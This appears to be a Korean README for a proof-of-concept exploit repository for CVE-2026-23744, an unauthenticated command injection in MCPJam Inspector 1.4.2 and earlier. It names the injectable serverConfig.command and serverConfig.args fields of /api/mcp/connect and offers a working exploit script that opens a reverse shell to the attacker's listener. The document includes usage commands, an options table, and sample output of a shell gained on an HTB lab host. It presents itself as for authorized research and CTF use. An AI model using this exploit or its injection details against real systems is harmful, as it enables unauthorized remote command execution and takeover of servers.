
CVE-2026-23744은 MCPJam Inspector ≤1.4.2의 /api/mcp/connect를 통한 인증되지 않은 명령 삽입 취약점입니다. 이 POC는 조작된 JSON 페이로드를 전송하여 임의 명령을 실행하고, PTY를 포함한 리버스 셸을 획득하는 방식으로 이를 악용합니다.
이 proof-of-concept는 오로지 공인된 보안 연구, 교육 목적, 그리고 통제된 실험 환경(예: HTB, CTF, 또는 명시적 서면 동의를 받은 내부 침투 테스트)을 위해서만 제공됩니다. 허가 없이 임의의 시스템을 대상으로 한 무단 사용은 불법이며 비윤리적입니다. 저자는 오용에 대한 어떠한 책임도 지지 않습니다. 사용자는 모든 관련 법률과 규정을 준수할 전적인 책임이 있습니다.
CVE-2026-23744는 MCPJam Inspector(버전 ≤ 1.4.2)의 인증되지 않은 명령 주입 취약점입니다.
/api/mcp/connect 엔드포인트는 serverConfig.command 및 serverConfig.args가 포함된 JSON 페이로드를 수락하고 이를 어떠한 검증 없이 시스템 프로세스 생성에 직접 전달합니다. 공격자는 조작된 요청을 전송하여 임의의 시스템 명령을 실행하고 서비스 사용자의 권한으로 리버스 셸을 획득할 수 있습니다.
이 저장소에는 선택적 자동 PTY 기반 대화형 리스너(기본적으로 활성화됨)가 포함된 완전한 작동 익스플로잇 스크립트가 포함되어 있습니다.
requests 라이브러리 (pip install requests)중요: 호스트 이름 또는 IP만 제공하십시오. 스크립트가 자동으로 http:// 또는 https://를 추가합니다.
python3 exploit.py -t <target> -l <your_ip> [-r <port>] [--ssl] [--check-only]
스크립트는 자체 리스너를 시작하고 터미널에서 직접 셸을 제공합니다.
python3 exploit.py -t <example_hostname> -l <your_IP> -r <Listener_Port>
$ python3 exploit.py -t devhub.htb -l 10.10.14.111 -r 4444
[*] Target URL: http://devhub.htb:6274/api/mcp/connect
[*] Checking target...
[+] Target responded with 400 – appears vulnerable
[*] Sending exploit payload...
[+] ReadTimeout – shell likely spawned!
[*] Payload sent. Check your listener!
# On your listener:
connect to [10.10.14.111] from (UNKNOWN) [10.129.245.216] 54150
mcp-dev@devhub:/opt/mcpjam$ id
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)
root로 실행하지 마십시오.이 저장소는 교육 및 공인된 테스트 용도로만 제공됩니다. 사용에 따른 책임은 본인에게 있습니다.
작성자: amao26
날짜: 2026년 8월
| 옵션 | 설명 |
|---|
-t, --target | 대상 호스트 이름 또는 IP (필수) |
-p, --port | 대상 포트 (기본값: 6274) |
-l, --lhost | 리버스 셸용 본인 IP (필수) |
-r, --lport | 리스너 포트 (기본값: 4444) |
--ssl | HTTP 대신 HTTPS 사용 |
--check-only | 취약점만 확인하고 셸을 전송하지 않음 |